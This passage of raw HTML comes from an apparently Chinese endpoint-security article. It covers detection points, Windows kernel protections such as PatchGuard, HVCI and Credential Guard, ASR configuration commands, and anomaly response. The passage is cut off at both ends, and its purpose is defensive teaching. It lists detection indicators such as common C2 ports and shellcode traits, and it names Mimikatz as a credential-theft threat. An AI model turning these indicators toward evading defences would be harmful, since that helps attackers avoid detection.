0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">异常出站连接（如非浏览器进程连接外网）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">可疑端口连接（如4444、6666等常见C2端口）</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">5. 内存行为监控</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">关键检测点：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">RWX内存分配</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">Shellcode特征</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">内存中的PE文件</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.3 行为分析技术</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1. 基线分析</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">建立正常行为基线，检测偏离基线的异常行为。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2. 关联分析</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">关联多个事件，发现攻击链。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">3. 机器学习</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">使用机器学习模型检测异常行为。</span></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 内核保护机制</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.1 内核保护的重要性</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">用户态防护容易被绕过，内核保护提供更底层的防护。</span></p><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.2 Windows内核保护机制</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1. PatchGuard（内核补丁保护）</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">功能：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">检测内核代码修改</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">检测内核数据结构修改</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">防止内核Hook</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">限制：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">检查周期较长（约10-15分钟）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">不阻止修改，只触发蓝屏</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2. Driver Signature Enforcement（驱动签名强制）</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">功能：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">只允许加载有签名的驱动</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">防止加载恶意驱动</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">配置：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 查看DSE状态</span><span leaf=""><br/></span><span leaf="">bcdedit /enum | findstr /i testsigning</span><span leaf=""><br/></span><span leaf=""># 启用DSE（默认已启用）</span><span leaf=""><br/></span><span leaf="">bcdedit /set testsigning off</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">3. HVCI（Hypervisor-Protected Code Integrity）</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">功能：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">使用虚拟化保护内核代码完整性</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">防止内核内存被修改</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">阻止未验证的驱动加载</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">启用方法：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 检查HVCI支持</span><span leaf=""><br/></span><span leaf="">Get-ComputerInfo | Select-Object DeviceGuardSmartStatus</span><span leaf=""><br/></span><span leaf=""># 启用HVCI</span><span leaf=""><br/></span><span leaf=""># 需要在组策略中启用</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">4. Credential Guard（凭据保护）</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">功能：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">使用虚拟化保护凭据</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">防止凭据窃取（如Mimikatz）</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">启用方法：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 检查Credential Guard状态</span><span leaf=""><br/></span><span leaf="">Get-ComputerInfo | Select-Object DeviceGuardRequiredSecurityProperties</span><span leaf=""><br/></span><span leaf=""># 启用Credential Guard</span><span leaf=""><br/></span><span leaf=""># 需要在组策略中启用</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">5. Exploit Guard（漏洞利用防护）</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">功能：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">攻击面减少（ASR）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">受控文件夹访问</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">网络保护</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">漏洞利用保护</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">配置ASR规则：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 查看ASR规则</span><span leaf=""><br/></span><span leaf="">Get-MpPreference | Select-Object AttackSurfaceReductionRules_Ids, AttackSurfaceReductionRules_Actions</span><span leaf=""><br/></span><span leaf=""># 启用ASR规则</span><span leaf=""><br/></span><span leaf="">Add-MpPreference -AttackSurfaceReductionRules_Ids &#34;75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84&#34; -AttackSurfaceReductionRules_Actions Enabled</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">配置受控文件夹访问：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 启用受控文件夹访问</span><span leaf=""><br/></span><span leaf="">Set-MpPreference -EnableControlledFolderAccess Enabled</span><span leaf=""><br/></span><span leaf=""># 添加受保护文件夹</span><span leaf=""><br/></span><span leaf="">Add-MpPreference -ControlledFolderAccessProtectedFolders &#34;C:\ImportantData&#34;</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4 异常检测与响应</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4.1 异常检测方法</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1. 统计异常检测</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">检测异常的统计特征，如进程创建频率异常。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2. 行为异常检测</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">检测异常的行为模式，如异常的父子进程关系。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">3. 时序异常检测</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">检测异常的时间序列，如异常的活动时间。</span></p><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4.2 自动响应机制</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1. 自动隔离</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">自动隔离受感染主机，防止横向移动。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2. 自动终止进程</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">自动终止恶意进程，阻止攻击。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">3. 自动阻止网络连接</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">自动阻止恶意网络连接，切断C2通信。</span></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.5 实战案例分析</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.5.1 案例1：构建多层防御体系</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">场景描述：</span></strong><span leaf="">企业需要构建一个完整的终端安全防御体系，保护关键资产免受攻击。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">构建过程：</span></strong></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 